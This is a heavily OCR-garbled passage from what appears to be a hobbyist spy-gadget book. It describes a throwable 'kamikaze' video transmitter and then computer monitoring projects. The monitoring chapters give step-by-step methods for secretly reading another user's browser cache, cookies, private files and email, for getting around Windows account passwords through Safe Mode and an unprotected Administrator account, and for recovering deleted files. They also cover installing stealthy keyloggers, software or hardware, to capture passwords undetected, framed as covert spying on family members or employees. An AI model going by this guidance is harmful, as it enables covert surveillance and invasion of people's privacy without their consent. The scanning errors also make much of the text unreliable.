words  in  a logo.  If  this  is  not  possible  then  drill  the 
hole  wherever  you  can.  then  simply  Hnd  a product 
lube  I nr  sticker  trom  something  else  to  help  mask 
the  hole;  use  your  imagination  here.  You  will  also 
want  to  keep  the  camera  hole  away  from  the  dock 
hands  if  possible,  especially  the  hour  hand,  or  you 


will  have  a blank  spot  on  your  video  screen  lasting 
more  than  an  hour  twice  a day.  In  my  installation.  1 
could  not  avoid  the  minute  hand,  due  to  the  shape 
of  the  clock,  but  this  mrely  became  an  i.ssue,  and 
only  lasted  for  a few  minutes.  If  you  really  want  to 
deal  with  ibis  problem,  just  place  the  camera  as 
low  as  possible,  and  cut  down  both  the  hour  hand 
and  minute  hands  so  they  never  cover  the  lens 
hole.  My  waking  unit  is  shown  in  Figure  I0'I9. 

A few  things  to  note  when  making  this  project 
are — the  angle  of  the  camera  should  aim  slightly 
downward,  or  you  may  not  see  the  lower  port  of 
the  room,  and  you  must  be  careful  of  reflections  on 
the  glass  or  pla.stic  clock  face,  although  normally 
you  can  just  remove  it  if  it  becomes  a real 
problem. 


Project  67 — Kamiloze  Video  Transmitter 


Figure  10-31  A «/y  smaU  video  iransmiiier  unii, 
comp/eie  with  b<Uiery  pack. 


Figure  10*20  A verysmaU  video  inuuminer.  cameru 
-%/  u powerful  battery  pack. 


kfonn&iton  you  seek  before  it  ends  up  in  (be 
bands  of  (he  enemy,  or  his  hungry  guard  dog. 
KamikH/e  transmiciers  coo  be  deployed  us  Hike 
rocks,  Huction  cup  arrows  for  glass  surfaces, 
disguised  as  pop  cans  or  trash,  or  just  about  any 
object  that  will  either  survive  the  flight,  or  blend  in 
ns  much  tu>  possible  with  the  target  area.  My 
favorite  Kamikaze  deployment  of  a video  camera 
and  transmitter  is  the  lawn  dart  cam,  as  this  unit 
almost  always  works  to  some  degree.  No  matter 
what  your  deployment  method,  the  more  compact 
and  rugged  the  component  housing  the  better,  as 
things  may  get  ugly  and  hostile  on  the  ground,  in 
my  lawn  dart  Kamikaze  transmilier.  I filled  a small 
plastic  container  with  a very  small  video  camera 
and  transmitter,  and  a powerful  battery  pack  from  a 
remote  controlled  aircraft  that  would  run  the  unit 
for  well  over  four  hour.s.  The  components  are 
shown  in  Figure  10-20  before  installaiiou  into  the 
pla.sdc  container. 

I drilled  an  appropriately  sized  hole  in  (be  pla^c 
case,  and  then  the  camera  was  installed  so  that  il 
would  face  slightly  upwaids,  expecting  that  the 
dart  would  land  vertically  in  the  grouad.  Ibe  (wo 
battery  wires  were  also  placed  throu^  a small 
hole  in  the  casing  so  that  power  could  be  turned  on 
by  twisting  the  wires  together  just  befwe  launch 


use  in  (he  unlikely  chance  that  1 might  be  able  to 
mbieve  it.  ChKe  the  components  were  installed 
imo  (he  pla.stic  case,  a copious  amount  of  hot  gluu 
was  poured  in  the  case  to  seal  the  works  and  create 
a great  deal  of  shock  resistance  in  case  of  a rough 
landing  or  collision  along  (he  way.  The  completed 
camera  (ransmtitcr  is  shown  in  Figure  10-21,  Just 
before  the  hot  glue  was  poured  into  the  case  to  seal 
and  shock  proof  everything. 

Before  launching  the  Kamikaze  transmitter  on 
what  may  be  its  final  journey.  I look  a few  practice 
runs  in  order  (o  perfect  my  throwing  technique. 
Because  (he  camera  ^uld  face  a certain  general 
Jireciion,  I had  to  throw  the  lawn  Jon  in  a 
controlled  manner  just  like  a real  dan  so  that  il 
WM]d  land  facing  the  same  direction  that  1 was 
originally  holding  it.  Because  of  the  wings,  this 
was  usually  not  a problem,  and  the  dan  would 
usually  end  up  within  a few  degrees  of  the 
intended  angle.  The  camera  aJxo  had  a fairly  wide 
Held  of  view,  so  (here  was  a generous  margin  of 
error  to  be  had.  So  how  did  the  mission  work,  you 
ask?  Perfectly,  of  course!  As  you  know,  Evil 
Geniuses  do  not  include  failure  as  an  opdon! 

Figure  10-22  shows  the  camera  transmitter  unit 
mounted  to  the  launch  ^'ehjcle  smek  in  the  ground 
and  .sending  back  video.  Goodbye  old  friend,  you 


lime,  and  the  unit  could  be  lechaiged  for  another  served  your  purpose  well. 
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6 7 --Kami  ka  z e Video 


Transmi 


Figure  lO-SS  A Kamikaze  lamt  dan  \i<ko  transmUter  in  aaioa. 


Well,  [ hope  you  never  have  lo  launch  a 
Kamikaic  rransmitier.  as  it  is  a sad  sight  to  see 
such  a beautiful  coven  spy  device  meet  its 
untimely  demise  In  (he  hands  of  the  "enemy."  but 
sometimes  you  have  to  make  a few  sacrifices  to 
0 achieve  your  mission  objectives.  One  good  feature 
0)  about  this  type  of  transmitter  is  that  you  will  never 


be  put  in  the  line  of  fire,  and  without  wires,  there 
is  a slim  chance  that  the  unit  will  be  traced  back  to 
your  location.  Happy  launching! 

In  the  next  section,  we  will  take  a look  at  some 
other  types  of  coven  operations  involving 
computers,  keyboard  key  loggers  and  screen 
transmiuers. 


Section  Eleven 

Computer  Monitoring 


Project  B8 — LUhere  Have  You  Been  Today? 


Ccmpuiers  and  (he  Imemei  are  so  commoD  in  (he 
iKxne  and  at  (he  workplace  that  you  might  wonder 
bow  we  all  got  by  without  (hem.  Of  coume,  when 
you  are  able  io  insumUy  ask  your  favorite  search 
engine  to  retrieve  information  on  any  subject 
possible,  you  are  connected  to  an  overwhelming 
«Dount  of  information— (he  good,  (he  bad  artd  the 
i^ly.  The  office  Personal  Computer  (PC)  can  bring 
A level  of  unlimited  efficiency  u>  your  business,  but 
n can  also  entice  employees  into  a world  of 
unproductive  play  time,  or  cause  the  office 
network  to  be  vulrterable  (o  attacks  by  hackers, 
saboteurs  or  (he  company's  competiiors.  Similarly, 
the  home  PC  is  in  the  same  boat.  The  Internet  is  an 
open  door  to  the  world  for  anyone  brave  enough  to 
venture  out.  and  although  there  is  an  abundant 
wealth  of  great  information,  (here  is  also  a world 
of  lies,  deception,  and  material  not  appropriate  for 
children,  or  even  some  adults.  Of  course,  like  any 
powerful  tool,  the  Imcmet  can  be  used  for  good  or 
bad,  and  sometimes  it  may  be  in  your  best  interest 
to  tmd  out  what  a certain  computer  has  been  used 
for.  if  not  for  your  sake,  then  for  someone  else's. 

Because  of  the  way  Iniemci  enabled  operating 
systems  like  Microsoft  Windows  work  with  files 
and  information  on  your  computer,  it  is  sometimes 
very  easy  to  find  out  where  a person  has  been  on 
the  Interne  i,  or  what  they  may  have  been  looking 
at.  To  make  web  pages  appear  to  load  faster, 
certain  pans  of  the  page  may  be  '‘cached”  (stored), 
this  way  the  web  browser  does  not  have  to  load  the 
entire  page  every  time  you  visit.  This  Is  a good 
feature  for  browsing  efHciency  and  speed,  but  it’s 


also  a bad  feature  for  computer  users  who  wish  to 
keep  their  tracks  covered. 

Sure,  most  users  know  the  basics  of  deleting 
these  types  of  temporary  files,  such  as  clearing 
their  cache  and  “cookies,”  and  even  their  recently 
viewed  file  list  <hm«y).  but  that  is  Just  the  tip  of 
(he  data  iceberg.  With  only  a I tale  digging  on  a 
computer  hard  drive,  it  may  surprise  you  how 
much  incriminating  evidence  can  be  left  behind. 


LUindoujs  Operating 
Environments 

Let's  start  with  the  obvious  basics  using  Microsoft 
Windows  XP,  and  internet  Explorer,  currently  the 
most  commonly  u.sed  operating  system  and 
Internet  browser.  The  imemet  cache  is  by  far  the 
best  road  map  of  recent  activity,  and  many  new 
users  may  not  even  be  aware  that  they  delete  this 
with  only  a few  mouse  clicks. 

Open  the  Internet  Explorer  program,  click  on  the 
’Tools”  menu  near  the  top  of  the  window,  then 
select  ‘Internet  Options.”  You  will  now  be 
presented  with  a dialog  box  that  will  contain  a 
burton  lidKled  "Settings”  in  a frame  labeled 
‘Temporary  Imemet  Files.”  Click  on  it.  Another 
box  will  appear  (hat  allows  the  user  to  control  the 
behavior  of  the  Internet  caching,  along  with  the 
ability  to  Cum  off  caching,  move  the  location  of  the 
cached  files,  or  look  at  the  files.  Choose  “Yiew- 
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Project  68— Where  Have  You  Bee 
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Flguff  IM  ihe  furrrni  compuitr  user's  /nternei  coche. 


Files/'  and  a window  conuumng  ihe  currently 
logged  on  user's  Imemet  cache  will  appear. 

Now,  you  may  find  a whole  lor  of  inreresring 
in  formation  right  before  your  eyes,  bur  lei's  gei 
into  the  cache  a little  deeper  before  starting  to  dig. 
In  the  "Address"  bar.  select  the  entire  line  of  text 
containing  the  folder  location  of  (he  internet  cache 
with  your  mouse.  This  will  read  something  like 
"C:\Docume  nts  and  Setting$\user\Local 
SeuingsMemporary  Internet  Files/’  When  this 
entire  line  is  highlighted,  right  click  on  it  and 
select  "copy"  to  copy  the  address  to  the  clipboard. 
Next,  close  this  window  completely  and  select 
"Start"  from  the  bottom  left  of  your  screen,  then 
choose  "run/'  When  (he  run  box  prompts  you  for  a 
name  of  program  to  open,  make  sure  (hat  there  is 
nothing  typed  in  the  white  box  then  paste  in  your 
copied  address  by  right  clicking  in  the  empty  white 
area  and  selecting  **paste/'  Once  your  cached  file 
location  has  appeared  in  the  box,  select  "OK"  or 
just  hit  enter  and  a new  window  will  open 
containing  all  of  the  user's  Internet  cache, 
including  many  riles  that  were  not  visible  the  first 
lime — Figure  M-1. 


As  you  can  see,  there  are  a number  of  diffcreni 
file  types  of  varying  sizes,  and  depending  on  how' 
the  Imemet  cache  Is  set  up,  the  list  could  be  very 
long,  containing  hundreds  of  riles,  To  get  a general 
idea  of  the  user's  browsing  habits,  simply  scroll 
through  (be  list  by  dragging  the  scroll  bar,  making 
notes  of  the  general  names  of  the  files  as  they 
scroll  by.  If  you  see  a great  deal  of  rile  names  with 
dubious  names,  (hen  it  will  be  obvious  what  has 
been  going  on.  but  let's  take  it  one  step  further. 

Click  on  (he  bar  labeled  "size"  just  under  the 
address,  and  this  will  organize  the  cache  by  the 
size  of  each  rile,  If  you  click  it  again,  it  will 
reverse  the  order  from  largest  to  smallest  and  vice 
vena.  For  now.  we  want  to  look  at  the  largest  riles 
first.  The  largest  files  are  normally  multimedia 
riles  containing  photos  or  video,  and  this  evidence 
can  be  very  incriminating  as  there  will  be  little 
question  as  to  what  the  user  has  been  up  to.  If  you 
simply  double  click  on  one  of  the  larger  riles  with 
a known  ext^sion  such  as  jpg,  or  .gif.  then  it  will 
c^n  in  your  photo  viewer  for  examination — be 
ready  for  a possible  sui^nise,  you  just  never  know 
what  the  coniems  might  be. 
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Once  you  are  done  !>nooping  dutHJgb  a few 
tundred  phoio«i.  dick  on  ihe  bar  labeled  *‘type"  to 
^organize  die  Internet  cache  files  by  ibeir  file 
type.  Now  you  can  see  what  web  pages  the  user 
has  been  visiting  by  scrolling  down  to  the  list  of 
files  organized  by  the  type  “HTML  document " 
it  may  not  be  a good  idea  to  double  click  these,  as 
il  will  launch  the  Web  Browser  and  visit  the  site, 
possibly  opening  the  same  can  of  womu  the  target 
user  did.  The  file  name  may  be  more  than  you 
Beed  for  evidence. 

AncKher  interesting  file  type  is  the  ''text 
documem"  with  the  word  “Cookie:"  in  front  of  it. 

A cookie  is  a bit  of  Information  saved  to  your 
computer  from  a website  that  could  contain 
inponant  mformaiion  regarding  the  user  and  their 
browsing  habits.  Besides  the  obvious  name,  a cookie 
eiay  contain  web  addresses,  visit  times,  passss'ord 
mfonnation.  nicknames,  or  even  dtat  dialogs.  You 
can  safely  double  dick  on  a cookie  to  view  \is  text 
in  notepad,  os  it  is  just  a file  containing  plain  text. 

If  lime  is  not  on  your  side,  you  may  want  to  look 
ducugh  the  user’s  cache  at  another  lime  or  on  a 
different  computer  altogether  This  can  be  done  by 
simply  selecting  the  files  in  the  window  and 
copying  them  entirely  or  selectively  to  another 
location  on  the  computer,  a network  or  removable 
storage  device.  Because  this  information  may 
change  quickly,  and  only  a certain  amount  of 
storage  has  been  set  aside  for  machine,  il  may  be 
unportam  to  copy  the  files  before  the  user  gets 
back  on  the  computer. 

Now  that  you've  learned  a basic  method  for 
snooping  on  a computer  user  s Imemei  habits.  let's 
go  deeper  into  the  file  system  where  only  a true 
nerd  would  venture. 


Unlocking  Hidden  Files 
and  Folders 

Modem  operating  systems  such  as  Microsofi 
Windows  allow  multiple  users  to  log  on  to  the 


syaem  and  maintain  tneif 

personal  documenis.  desktop  preferences.  Internet 

favoriles.  and  email.  Hiese  settings  allow  computer 

users  to  feel  hkp  [bey  can  customize  some 

computer  functions  lo  suit  their  individual 

preferences. 

To  get  started,  log  on  lo  the  computer  with 
whatever  account  lets  you  get  to  a Windows 
desktop.  If  you  do  not  have  an  account,  just  press 
the  F8  key  right  after  the  manufaciurer’s  logo 
(before  Windows  si^)  to  trigger  (he  stanup 
menu.  Prom  this  menu,  select  “Safe  Mode."  and 
then  choose  the  Adminisuaiw  account.  Often,  this 
account  is  left  wide  open  with  no  password,  so  you 
can  essentially  have  “Cod  Mode"  control  over  the 
entire  system,  even  if  you  do  not  know  the 
passwords  for  “LliUe  Billy".  "Molly  Gnrir  or 
"Daddy-*?." 

U really  doesn't  matter  how  you  get  to  a 
desktop,  but  ii  is  always  best  to  snoop  with 
another  account  than  that  of  the  target,  as  they 
may  see  your  recently  viewed  file  list  just  as  you 
will  be  looking  at  theirs. 

When  (he  desktop  appears,  open  the  rooi  of  the 
hard  disk  be  entering  “C:\"  in  the  Stafl-Run  box, 
or  by  clicking  on  “My  Computer"  From  that 
window  choose  ’Tools"  and  "Folder  Options"  lo 
bring  up  the  Folder  Options  window.  Now  click  on 
the  “View"  tab.  and  scroll  down  until  you  find  (he 
selection  labeled  “Show  hidden  files  and  folders." 
Check  it  to  on  by  selecting  (be  check  box  or  circle 
(see  Figure  1 (•2).  Now  look  a little  further  down 
to  find  the  scleciicm  labeled  “Hide  protected 
operating  system  files"  (see  Figure  1 1*2),  and 
make  sure  it  is  no(  selected  by  unchecking  the  box 
(you  may  gel  a warning  from  Windows).  Now  you 
can  choose  "apply"  and  close  (he  dialog  box.  You 
will  now  have  access  to  files  and  folders  that  you 
never  knew  were  even  (here,  including  the  Interne! 
cache,  private  documents,  and  personal  email  of 
every  user  on  Ihe  computer 

Lei's  go  fev  a tour  throu^  all  the  files  (hat  you 
normally  do  not  see.  The  first  thing  you  might 
has'e  noticed  after  closing  the  recently  updated 
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FlQure  1 1 -2  Seiting  ihe  folder  view  to  shew  alt  hidden 
flies. 


folder  view  box  is  the  iiddiHon  of  a few  new  file^ 
in  ihe  "OX'  window— these  an  system  files,  and 
you  could  cause  a world  of  hurt  for  your  computer 
by  deleting  or  moving  them,  and  this  is  the  reasm 
they  were  hidden  in  the  first  place.  Operating 
system  files  are  not  of  interest  right  now.  so  lock 
for  a folder  called  "Documents  and  Settings''  then 
double  click  it  open. 

Just  like  magic,  a iist  of  folders  will  appear  with 
all  the  names  you  may  rccc^niTC-for  ‘*111110  Billy,*’ 
"Molly  Grrri;’  "Daddy *43."  and  even  a few  ocbcxs 
like  your  username,  if  you  have  one.  and 
"Administrator."  Ck>uble  click  on  your  target's 
username  to  open  their  secret  world.  What  you 
have  before  you  is  a list  of  file  names  that  contains 
all  of  that  user’s  personal  and  once  thought  secret 
inforniation.  without  ever  needing  their  password. 

Some  of  the  folder  names  are  obvious,  such  as 
"My  Documents"  and  "Favorites.*'  and  although 


yotTmayliavc  the  hme  dl  your  me  Drowsing 
through  those  files  alone,  there  is  an  entire  world 
of  information  hidden  even  deeper  inside  a few  of 
those  other  folders. 

One  folder  of  interest  is  "Local  Settings."  a.s  this 
will  contain  all  of  the  temp  files  including  those 
from  Internet  Explorer.  A lot  more  information  will 
be  present  than  looking  ai  the  files  from  Explorer, 
including  files  the  user  once  thought  were  long 
gone  and  cleared  away.  Inside  this  folder,  you  will 
find  another  called  ‘‘Application  Data,"  and  this 
will  contain  much  of  the  data  associated  with  a 
panicular  program  such  as  Micrusofi  Outlook 
Express  and  certain  chat  programs.  One  folder 
of  great  interest  will  follow  a path  from  here 
f"Application  Data"!,  something  like  this . . . 
•MdemitiesVI  3 139 IEF3-B3AC-4FI 2-94D8- 
DC2DA45E9526)\Microsoft\Outl4Hik  Express " 
’The  long  string  of  cryptic  characters  will  contain 
an  Outlook  Expre^»  user  profile,  and  the  last  folder 
will  contain  all  of  that  u.ser’s  email  in  the  file 
format  "Inbox .dbx."  "Sent  Items. dbx,"  "Deleted 
licms.dbx."  etc.  Although  you  can’t  just  double 
click  on  the  dbx  files  to  view  the  user’s  mail,  you 
can  save  them  to  another  location  for  later  viewing 
either  by  creating  another  mail  profile  and 
dumping  the  files  to  iu  or  by  looking  for  a viewer 
program  by  entering  "dbx  viewer"  into  your 
favorite  search  engine.  You  will  notice  that  some  of 
the  dbx  files  my  be  extremely  large,  especially  if 
the  user  b not  in  the  habit  of  deleting  sent  email  or 
emptying  the  "Deleted  Items"  folder.  Thix  is  good 
ioi  you.  if  the  user  does  not  use  Outlook  Express, 
you  will  have  to  do  a little  digging  for  the  mail 
folder,  but  with  the  com|Hiier  set  to  show  you  all 
files,  it  is  only  a matter  of  hunting  for  a while. 

Once  you  are  done  sneaking  your  way  with  the 
entire  file  system,  make  sure  to  set  the  folder  view 
Options  back  the  way  they  were  ('*Do  not  show 
hidden  fil»  and  folders"),  especially  if  you  are 
using  an  account  that  is  not  yours.  You  wouldn’t 
want  to  become  the  "tajgeC  or  accidentally  delete 
a vital  Windows  system  file. 
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MoJexTt  computet^  typicaJly  siofe  daia  on  an  imeiDal 
or  exiemal  hard  disk  dhve.  This  disk  dri\'e  can 
contain  a vast  army  of  infcatoadon  ranging  fnxn 
cimpie  text  to  fuJi  mooon  video,  as  well  as  the 
compuier’s  operating  system  and  oU  of  tlte  software 
installed  on  that  system.  Hard  disk  driv‘e$  are 
mechanical  storage  systems  that  write  infonnation  to 
4 magnetic  planer  spinning  past  an  electromagnetic 
mad/write  head.  Although  the  actual  infonnatkm 
ttored  on  a disk  is  nothing  more  than  a series  of 
magnetised  or  non* magnetized  sections  of  the 
ptaner,  ihc  density  of  these  “ones"  and  "zeros*’  are 
ttch  that  hundreds  of  mditons  of  byies  of 
informaiion  con  be  stored  in  only  a few  inches  of 
space.  A common  3.3-inch  platter  in  a consumer 
grade  hard  disk  drive,  such  a$  (be  one  shown  in 
figure  1 1-3.  cun  easily  store  500  gigabytes  of 
^formation,  'fhis  is  500,000  megabytes  of 
^formation,  or  roughly  500.000.000.000  characters 
cf  (ext.  enough  to  keep  any  spy  busy  for  a long  time. 

Piles  are  wrinen  to  a hard  disk  like  chapters  in  u 
hook;  first  there  is  an  entry  in  (he  *’Filc  Allocation 


Rgofe  11-3  A /ypicaf  J.i-mch  hard  disk  drive  fdarter. 


Table.*’  Thank  of  this  as  the  Table  of  Contents  in  a 
book,  (hen  the  actual  data  are  written  to  the  hard 
disk  at  some  loctiioo  dependent  on  free  space. 
When  you  delete  a file  under  your  operating 
system,  only  the  enu^  in  the  file  allocation  table  is 
remoN«d.  leaving  the  actual  data  on  the  hard  disk 
for  possible  recovery.  This  simplified  explanation 
of  how  fdes  are  written  to  your  hard  disk  has 
nothing  to  do  with  the  Windows  “Recycle  Bin.” 
which  Is  a funciitm  of  (he  operating  system  itself, 
and  it  really  needs  no  explanation  because  it  is  a 
user  function. 


File  Recovery 

A nic  recovery  pwgram  analyzes  the  entire 
stniciurt  of  your  hard  disk,  looking  for  data  on 
your  computer  that  docs  noi  have  an  entry  in  the 
Pile  Allocation  Tables,  and  when  it  is  done  reading 
the  entire  disk,  it  will  let  you  select  which  files  are 
(o  be  resurrecied.  This  process  is  fairly 
straightforward,  but  it  does  have  a few  downfalls. 

First,  once  a file  is  delved  from  the  File  Allocation 
Table,  your  operating  system  will  consider  the 
space  the  actual  file  takes  up  on  your  hard  disk  to  (p 
be  “fair  game"  for  overwriting  with  new  data.  If  ft 
your  hold  disk  becomes  full,  then  that  space  will  pi 
most  certainly  be  overwritten  with  new  data,  so 
recovery  in  full  will  be  impossible.  If  you  are 
trying  to  recover  recently  lost  or  deleted  files,  the 
sooner  you  run  the  recovery  utility,  the  better. 

Also,  the  actual  process  of  installing  the  recovery 
utility  on  a hard  disk  reduces  (he  chance  of  a 
successful  recovery,  as  the  .software  itself  will 
require  space  on  your  hard  disk.  A way  around  this 
is  to  remov*e  the  hard  disk  to  analyze  and  install  it 
as  a secondary  drive  in  a PC  with  the  recovery 
utility  already  installed. 
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If  ihe  operation  is  successful,  you  will  be  able  lo 
use  the  files  as  if  they  were  never  deleted,  but  keep 
in  mind  (bat  successful  recovery  is  not  always 
possible  as  many  variables  can  make  a file 
unusable.  If  any  portion  of  a file  has  been 
overwritten,  the  recovery  program  may  not  be  a 
way  of  doing  this,  especially  If  the  file  is  large,  a.s 
in  ibc  case  of  a video  file  or  high*resolution  photo. 
Depending  on  the  format  of  the  file,  even  a small 
amount  of  corruption  could  render  the  fUc  useless, 
and  you  will  now  need  to  find  an  appropriate 
repair  utility  for  that  file  format.  Also,  if  ihc  user 
ran  a file- wiping  utility,  the  file  may  be  totally 
blank  or  filled  with  random  garbage,  and  you  will 
be  recovering  nodiing  more  than  the  file  name 
itself.  Sure  signs  of  this  are  image  files  that  come 
up  invalid  and  blank  text  hies.  If  your  file  recovery 
software  comes  up  short,  there  are  not  many 
options  left  10  the  amateur  spy  as  fullblown 


0^ 

c 

. p|  There  are  many  file  and  drive  recovery  programs 

4J  available,  some  are  even  freeware,  so  I will  leave  it 

0 up  to  you  to  choose  your  product.  I use  a program 
ID  called  “Easy  Recovery  Professiemar*  from  a 

^ company  called  Ontrack  {www.ontrack.com). 

^ When  you  first  run  the  program,  it  will  ask  you  to 
^ select  a hard  disk  to  analyze  (if  you  have  multiple 
^ drives),  and  then  it  will  read  the  entire  disk  looking 
^ for  lost  files.  If  you  have  a slower  computer,  or 

1 humongous  hard  disk  space,  this  could  take  several 
O)  minutes.  Once  the  udiicy  has  scanned  the  entire 
\0  drive  for  lost  files,  you  will  then  be  asked  to  select 

the  files  for  recovexy  (see  Figure  11-4).  Most 
^ likely,  the  utility  will  require  you  to  select  a 
^ destination  drive  different  from  the  source,  as  it 
^ would  be  impossible  to  write  the  recovered  files  to 
^ the  same  drive  without  further  data  loss — a 
^ network  drive,  or  removable  drive  will  be  suitable 
^ if  your  computer  has  only  a single  hard  disk. 
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Figure  11-M  StUcring  tleletfd  Jilts  for  recovery. 
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Rsic  datu  recovery  loob  aic  way  beyond  d)e 
of  this  book. 

This  information  was  written  in  the  year  2005. 
md,  as  we  know,  computer  technology  makes 
advances  in  leaps  and  bounds,  so  you  may  be 
tejghing  at  my  little  500  gigabyte  hard  disk,  and 
wnembering  the  good  old  days  of  Windows  XP. 
But  one  thing  wiU  always  be  true,  no  operating 
system  is  safe  froni  prying  eyes,  and  it  will  only 


lake  a beginner  a few  houT3  of  searching  the 
Imemei  to  find  a way  into  whatever  door  ihey  feel 
like  opening.  Pc^  opes  your  favorite  search  engine 
(Google  ai  this  time  for  me),  and  type  in  the  phrase 
''email  hacking/'  or  "evidence  elimination/'  and 
you  will  see  (he  same  information,  tools,  and 
luiorials  that  I am  seeing  right  now.  no  matter  what 
year  ii  may  be.  or  what  operating  system  may  he 
current. 


Project  70 — Installing  a Softoiare  Key  Logger 


’There  are  no  questionable  files  on  my  kid's 
computer"— lime  to  wake  up  and  face  the  facts 
that  they  just  may  know  more  about  technology 
than  you  dot  OK.  maybe  it's  not  that  bod,  bu(  if 
you  do  an  Internet  seua'h  for  "imentei  evidertce 
elimination/*  you  will  sec  that  this  is  a lucniive 
market  with  many,  many  players,  .so  others  are 
trying  to  slay  ahead  of* 'spies**  like  us.  If compuier 
users  are  wiping  (heir  cache  and  free  hard  disk 
space,  then  you  must  go  one  step  funher— activity 
logging. 

UJhat  is  a SoftLuare  Key 
Logger? 

A software  key  logger  in  its  most  basic  form 
.simply  intercepts  the  traffic  from  the  keyboard  and 
saves  it  to  a text  file  before  it  is  even  processed  by 
the  operating  system.  This  way.  every  single 
keystroke  is  logged,  and  although  it  may  be  ugly  to 
look  at,  nothing  will  be  missed  including 
passwords  that  were  blanked  out  on  the  aser's 
screen.  A key  logger  that  ccmoecis  to  a keyboard 
like  this  wiU  have  to  make  sense  out  of  the 
keyboard’s  scan  codes.  These  are  the  hexadecimal 


values  that  represent  each  key  on  a keyboard.  Scan 
codes  are  noi  like  ASCII  values  {valuer  that 
represent  characters),  as  there  is  no  scon  code  for 
the  dollar  sign  for  example.  U is  a set  of  several 
scan  code.t  representing  fim  the  shift  key  press 
(Sl2).  then  the  number  4 key  press  ($25),  then  the 
number  4 key  release  ($F0,$12).  followed  by  the 
shift  key  release  ($I2,$PD).  This  may  seem  a bit 
ugly,  but  to  gel  at  the  keyboard  in  a way  that  does 
not  alTcci  the  operating  system,  the  key  logger 
must  work  at  the  BIOS  level. 

Mature  and  highly  functional  key  logger  software 
may  pad  the  user  fran  some  of  this  raw  nerd  jargon 
by  creating  a log  file  that  shows  the  keyboard  data 
in  a more  readable  fashion  by  imeipreting  the  shift 
characters,  and  extended  keys  as  actual  text  as  it 
WO.S  shown  to  the  user.  This  may  or  may  not  be  a 
good  thing  depending  on  how  much  information  q 
you  need-  A feature  rich  key  logger  may  even  time  iQ 
stamp  certain  events  such  as  the  launch  of  software.  (Q 
of  imponani  Internet  events.  The  one  feature  that  is  (D 
olway.s  a must  when  installing  software  based  key  ^ 
logger  though,  is  its  stealth  ability.  There  is  no 
point  installing  a kcy  logging  program  on  all  the 
office  PCs  (hat  show  up  in  the  start  menu  as  "My 
Office  Key  Logger  Pro"  or  something  similar.  In 
fact,  a good  key  logger  should  have  no  traces  of 
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i(se!f  on  the  target  system,  even  if  the  user  presses 
Ctrl  •I'AJ  I + Delete  to  look  at  the  Task  Manager. 

The  key  logger  should  also  hide  and  encrypt  its  log 
flies  so  that  savvy  computer  users  can’t  find  the 
working  files  or  folders.  A typical  key  logging 
software  will  install,  hide  its  working  flies  and 
folders  completely,  or  di.sguise  them  in  a way  that 
will  thwart  detection.  It  will  then  allow  the 
administrator  to  create  a secret  password  or  key 
sequence  that  must  be  entered  in  order  to  rentm 
from  “stealth”  mode  and  then  allow  the  viewing  of 
the  log  files.  If  the  software  can  be  detected  when 
it  is  logging  activity,  then  it  will  not  fool  anyone 
except  for  the  most  absolute  beginner,  artd  you  will 
never  catch  the  user  in  the  act.  There  are  hundreds 
of  freeware  and  commercial  key  loggers  available, 
and  (he  best  way  to  fmd  quality  software  is  to  do  a 
little  research  on  the  Internet.  Don't  Just  read  all  of 
the  rave  reviews  on  the  company's  website, 
though.  Try  to  ftnd  a security  forum  or  blog  (hat 


does  not  have  its  hands  in  the  pockets  of  the 
programmers  to  get  some  honest  information. 
Also,  don't  go  overboard  on  all  the  bells  and 
whistles,  as  unnecessaiy  features  will  only  slow 
down  the  PC.  or  worse,  cause  it  lu  crash. 

If  you  have  a knack  for  programming,  then  you 
may  ccmsider  writing  your  own  software  key 
logger,  as  this  will  allow  you  to  have  only  the 
features  you  want  and  help  avoid  detection  by 
countermeasures  software  designed  to  seek  out 
known  key  logger  program:^.  A very  powerful  and 
stealthy  key  logger  can  be  written  in  a very  small 
block  of  code  even  on  Microsoft  Visual 
Baslc.NET.  Just  search  your  favorite  search  engine 
for  “Key  logger  source  code."  I wrote  a key  logger 
in  VB.NET  in  under  an  hour  by  looking  at 
example  source  code  from  (he  Iniemei,  and  ic  was 
virtually  undetectable  white  running  in  the 
background. 
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UJhat  Is  a HardLuare 
Key  Logger? 

A hardware  key  logger  is  the  ultimate  spy 
device  for  a computer.  It  leeches  the  keystrokes 
directly  from  the  keyboard  even  before  (he 
computer  has  started  booting  its  operating  system. 
Because  this  stealthy  device  basically  '*iaps”  the 
raw  keyboard  protocol  before  it  gets  to  the 
computer,  it  is  completely  undeiecuble  by  any 
software  or  user  no  matter  how  much  they  know 
about  the  working  of  the  operating  system.  There 
are  many  advantages  of  the  hardware  key  logger 
approach: 


« The  key  logger  catches  all  passwords, 
including  those  at  the  BIOS. 

« The  key  logger  will  work  on  any  operating 
system  and  computer. 

• There  is  no  software  or  drivers  to  install  on 
the  target  computer. 

• Installation  and  removal  takes  only  1 0 seconds. 

• The  log  files  can  be  viewed  later  on  another 
computer. 

This  key  logger  can  do  all  this  because  it 
works  directly  with  (he  keyboard,  not  the 
operating  system.  In  fact,  if  the  device  were 
supplied  with  its  own  power  supply  rather  than 
leeching  it  fmm  the  (a/gei  computer,  (hen  it 
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jre  U*5  Data  seni  from  ihe  keyboard  to  ihe  PC  h an  !I -bit  frame. 
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Id  work  with  only  a keyboard  attached 
no  computer  at  all.  The  hardware  key 
^er  (known  as  HKL  from  now  on)  is 
eniially  a micro-sized  computer  complete 
(h  its  very  own  operaiini  system.  RAM. 

1 user  interface,  and  it  is  no  bigger  than  a 
pen  lid.  The  hardware  that  makes  up  the 
HKL  is  actually  ^uite  simple:  a microcontroller 
running  the  keyboard  decoding  and  software;  an 
EPROM  to  store  the  user's  keystrokes;  and  a 
switch  to  turn  off  the  keyboard  when  playing 
keystrokes  back  to  the  computer.  In  “spy  mode.** 
the  HKL  intercepts  every  keystroke  by  treading 
the  PC  keyboard’s  clock  and  data  lines, 
essentially  decoding  the  information  the  same 
way  that  the  computer's  BIOS  would.  The 
keystrokes  are  then  stored  as,  a single  byte  into 
the  EEPROM  by  the  microcontroller's  program. 
When  a secret  password  is  keyed  in  through  the 
keyboard,  the  program  “wakes  up.”  switches 
off  the  computer  keyboard,  and  then  begins 
to  playback  ail  of  the  keystrokes  stored  in 
the  EEPROM.  This  might  seem  like  a fairly 
technical  project  to  undertake,  but  in  reality,  the 
hardware  costs  less  than  $10  in  parts,  and  the 
microcontroller  s program  is  so  simple  that  it  is 
written  in  a portable  basic  format  than  con  be 
ported  to  just  about  any  microcontroller. 

You  could  purchase  a HKL  from  a variety  of 
sources,  at  $200  or  more,  but  why  not  dig  right 
in  and  learn  to  build  your  own — the  ability  to 
make  your  own  spy  gadgets  will  set  you  apart 
from  the  competition. 


Build  a HardLuare 
Key  Logger 

